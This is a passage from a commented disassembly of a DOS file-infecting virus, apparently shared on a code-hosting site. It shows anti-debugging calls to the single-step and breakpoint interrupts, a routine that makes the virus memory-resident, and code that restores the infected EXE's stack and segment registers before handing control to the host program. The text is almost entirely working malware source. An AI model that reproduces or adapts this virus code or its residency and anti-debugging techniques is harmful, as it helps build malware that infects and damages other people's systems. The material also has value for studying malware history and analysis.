push ax ;1928 50
l_1929: call dword ptr es:[0Ch] ;int 3 (Breakpoint) ;1929 26: FF 1E 000C
cmp ax,3000h ;192E 3D 3000
jne l_1929 ;1931 75 F6
retn ;1933 C3
s_1925 endp
d_05B4 dw 0000h ;victim IP ;1934 00 00
d_05B6 dw 000Bh ;victim CS (rel) ;1936 0B 00
;================================================================
; Make virus resident
;----------------------------------------------------------------
s_1938 proc near
push es ;1938 06
call s_1948 ;-> INT 1 (single step) ;1939 E8 000C
cmp ax,0 ;193C 3D 0000
jne l_1947 ;193F 75 06
call s_1925 ;-> INT 3 (Breakpoint) ;1941 E8 FFE1
call s_1918 ;-> reside virus ;1944 E8 FFD1
l_1947: pop es ;1947 07
;================================================================
; ANTYDEBUG - call int 1 = Single Step
;----------------------------------------------------------------
s_1948: pushf ;1948 9C
xor ax,ax ;1949 33 C0
mov es,ax ;194B 8E C0
call dword ptr es:[4h] ;int 1 ;194D 26: FF 1E 0004
retn ;1952 C3
s_1938 endp
;================================================================
; End of virus code - file *.EXE
;----------------------------------------------------------------
l_1953: popf ;1953 9D
pop ds ;1954 1F
pop es ;1955 07
pop cx ;1956 59
pop bx ;1957 5B
mov ax,es ;1958 8C C0
add ax,10h ;relocating value ;195A 05 0010
mov dx,ax ;195D 8B D0
mov bp,word ptr cs:[5A1h] ;l_1921 = victim SS ;195F 2E: 8B 2E 05A1
add bp,ax ;1964 03 E8
mov ss,bp ;1966 8E D5
mov bp,word ptr cs:[5A3h] ;l_1923 = victim SP ;1968 2E: 8B 2E 05A3
mov sp,bp ;196D 8B E5
mov ax,dx ;196F 8B C2
add word ptr cs:[5B6h],ax ;l_1936 - CS relocation ;1971 2E: 01 06 05B6
call s_16CA ;init registers ;1976 E8 FD51
jmp dword ptr cs:[5B4h] ;-> run victim ;1979 2E: FF 2E 05B4
db 20 dup (0) ;COM file stack ;197E 0014[00]
d_0612 label byte ;1992h
seg_a ends
end start

Reference in New Issue Copy Permalink